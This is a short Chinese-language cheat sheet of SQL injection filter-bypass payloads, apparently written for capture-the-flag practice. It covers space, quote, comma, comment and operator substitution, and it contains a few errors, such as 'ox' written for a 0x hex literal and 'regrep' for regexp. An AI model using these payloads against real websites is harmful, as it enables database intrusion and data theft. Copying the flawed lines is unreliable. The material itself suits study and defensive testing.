sql绕过的方式一般有如下几种:
1.大小写绕过
2.堆叠绕过
3.编码绕过
4.内联注释
常见绕过
- 绕空格:
1.用注释替换空格
select/**/user,password/**/from /**/users;
2.空格url编码%20
3.两个空格代替一个空格
4.用Tab代替空格
5.%a0=空格
6.如果空格被过滤,括号没有被过滤,可以用括号绕过
select(user())from dual where(1=1)and(2=2)
7.回车
- 绕引号
使用十六进制如下图:
select column_name from information_schema.columns where table_name=‘flag’;
转化完后写成如下格式:
select column_name from information_schema.columns where table_name=ox666c6167;
- 宽字节注入
逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit,这些子句方法都需要使用到逗号
1.对于substr()和mid()这两个方法可以使用from的方式来解决:
select substr(database() from 1 for 1);
2.使用join
union select 1,2 可以使用下面的句子代替
union select * from (select 1)a join (select 2)b
3.使用like
select ascii(mid(user(),1,1))=80 可以使用下面的句子代替
select user() like ‘r%’
4.limit中,使用offset绕过
limit 1offset0
or and xor not绕过
1.利用符号替换and = && or=|| xor=| not=!
2.在敏感词中添加注释:an/**/d
3.双写绕过oorr
4.大小写变形
5.编码
注释符绕过
1.id=1’ union select 1,2,3 or ‘1’=‘1 即虽然无法使用注释符,但是可以闭合掉他 或者:id=1’ union select 1,2,‘3
2.最后添加or 1’
3.最后添加 and ‘1’='1
等于号绕过
1.使用like
2.使用!<>,因为<>是不等于
3.regrep (正则表达匹配)
<>被过滤
1.greatest(),least()
2.strcmp(str1,str2),第一个参数小于第二个参数,返回-1,否则为1
3.in,between a and b